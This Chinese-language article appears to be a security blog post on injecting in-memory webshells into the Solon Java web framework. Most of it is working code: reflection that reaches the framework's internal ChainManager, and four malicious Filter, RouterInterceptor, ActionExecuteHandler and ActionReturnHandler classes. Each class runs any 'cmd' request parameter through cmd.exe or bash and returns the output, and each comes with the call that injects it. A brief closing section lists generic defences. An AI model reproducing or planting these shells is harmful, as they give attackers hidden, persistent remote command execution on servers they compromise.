Solon框架注入内存马
字数 1134 2025-08-19 12:41:26
Solon框架内存马注入技术分析
1. Solon框架简介
Solon是一个纯国产的Java应用开发框架,类似于Spring Boot,具有以下特点:
- 轻量级、高性能
- 支持Web开发
- 请求处理流程:过滤器(Filter)->路由拦截器(RouterInterceptor)->处理器(Handler)->拦截器(Interceptor)
- GitHub地址:https://github.com/noear/solon
- 官网:https://solon.noear.org
2. 内存马注入技术分析
2.1 Filter内存马注入
2.1.1 正常Filter示例
@Component(index = 0) //index为顺序位(不加则默认为0)
public class FilterDemo implements Filter {
@Override
public void doFilter(Context ctx, FilterChain chain) throws Throwable {
System.out.println(ctx.path()); //输出当前访问路径
chain.doFilter(ctx);
}
}
2.1.2 Filter添加流程分析
- Filter通过
ChainManager.addFilter()或addFilterIfAbsent()方法添加 SolonApp.tryHandle()方法调用RouterWrapper.chainManager()- 最终由
ChainManager对象管理Filter链
2.1.3 获取ChainManager对象
通过反射获取_chainManager字段:
Context ctx = Context.current();
Object _request = getfieldobj(ctx, "_request");
Object request = getfieldobj(_request, "request");
Object serverHandler = getfieldobj(request, "serverHandler");
Object handler = getfieldobj(serverHandler, "handler");
Object arg$1 = getfieldobj(handler, "arg$1");
ChainManager _chainManager = (ChainManager) getfieldobj(arg$1, "_chainManager");
辅助方法getfieldobj:
public Object getfieldobj(Object obj, String Filename) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = obj.getClass().getDeclaredField(Filename);
field.setAccessible(true);
Object fieldobj = field.get(obj);
return fieldobj;
} catch (NoSuchFieldException e) {
Field field = obj.getClass().getSuperclass().getDeclaredField(Filename);
field.setAccessible(true);
Object fieldobj = field.get(obj);
return fieldobj;
}
}
2.1.4 恶意Filter实现
public class Memshellclass implements Filter {
@Override
public void doFilter(Context ctx, FilterChain chain) throws Throwable {
try {
if (ctx.param("cmd")!= null){
String str = ctx.param("cmd");
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe", "/c", str}
: new String[]{"/bin/bash", "-c", str};
String output = new java.util.Scanner(
new ProcessBuilder(cmds).start().getInputStream()
).useDelimiter("\\A").next();
ctx.output(output);
} catch (Exception e) {
e.printStackTrace();
}
}
} catch (Throwable e){
ctx.output(e.getMessage());
}
chain.doFilter(ctx);
}
}
2.1.5 注入Filter内存马
_chainManager.addFilter(new Memshellclass(), 0);
2.2 RouterInterceptor内存马注入
2.2.1 注入方法
_chainManager.addInterceptor(new RouterInterceptormemshell(), 0);
2.2.2 恶意RouterInterceptor实现
public class RouterInterceptormemshell implements RouterInterceptor {
@Override
public PathRule pathPatterns() {
return new PathRule().include("/hello"); //限定路径,可以为return null作用于全路径
}
@Override
public void doIntercept(Context ctx, Handler mainHandler, RouterInterceptorChain chain) throws Throwable {
try {
if (ctx.param("cmd")!= null){
String str = ctx.param("cmd");
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe", "/c", str}
: new String[]{"/bin/bash", "-c", str};
String output = new java.util.Scanner(
new ProcessBuilder(cmds).start().getInputStream()
).useDelimiter("\\A").next();
ctx.output(output);
} catch (Exception e) {
e.printStackTrace();
}
}
} catch (Throwable e){
ctx.output(e.getMessage());
}
chain.doIntercept(ctx, mainHandler);
}
}
2.3 ActionExecuteHandler内存马注入
2.3.1 注入方法
_chainManager.addExecuteHandler(new ActionExecuteHandlermemshell());
2.3.2 恶意ActionExecuteHandler实现
public class ActionExecuteHandlermemshell implements ActionExecuteHandler {
@Override
public boolean matched(Context ctx, String contentType) {
try {
if (ctx.param("cmd")!= null){
String str = ctx.param("cmd");
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe", "/c", str}
: new String[]{"/bin/bash", "-c", str};
String output = new java.util.Scanner(
new ProcessBuilder(cmds).start().getInputStream()
).useDelimiter("\\A").next();
ctx.output(output);
} catch (Exception e) {
e.printStackTrace();
}
}
} catch (Throwable e){
ctx.output(e.getMessage());
}
return false;
}
@Override
public Object[] resolveArguments(Context ctx, Object target, MethodWrap mWrap) throws Throwable {
return new Object[0];
}
@Override
public Object executeHandle(Context ctx, Object target, MethodWrap mWrap) throws Throwable {
return null;
}
}
2.4 ActionReturnHandler内存马注入
2.4.1 注入方法
_chainManager.addReturnHandler(new ActionReturnHandlermemshell());
2.4.2 恶意ActionReturnHandler实现
public class ActionReturnHandlermemshell implements ActionReturnHandler {
@Override
public boolean matched(Class<?> returnType) {
return true; //为true时才回让returnHandle处理
}
@Override
public void returnHandle(Context ctx, Action action, Object returnValue) throws Throwable {
try {
if (ctx.param("cmd")!= null){
String str = ctx.param("cmd");
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe", "/c", str}
: new String[]{"/bin/bash", "-c", str};
String output = new java.util.Scanner(
new ProcessBuilder(cmds).start().getInputStream()
).useDelimiter("\\A").next();
ctx.output(output);
} catch (Exception e) {
e.printStackTrace();
}
}
} catch (Throwable e){
ctx.output(e.getMessage());
}
}
}
3. 其他可能的注入点
- Interceptor内存马:按照请求处理流程图,理论上可以注入Interceptor内存马
- Handler内存马:可以尝试注入Handler内存马
- 传统Web组件:
- WebServlet内存马
- WebFilter内存马
- JSP内存马(如果支持)
4. 防御建议
- 监控和限制反射调用
- 检查ChainManager的修改操作
- 实施运行时应用自我保护(RASP)
- 定期更新框架版本
- 实施最小权限原则
5. 总结
Solon框架的内存马注入主要通过操纵ChainManager对象来实现,可以注入多种类型的内存马,包括Filter、RouterInterceptor、ActionExecuteHandler和ActionReturnHandler等。防御这类攻击需要从多个层面进行防护,包括代码审计、运行时监控和框架更新等。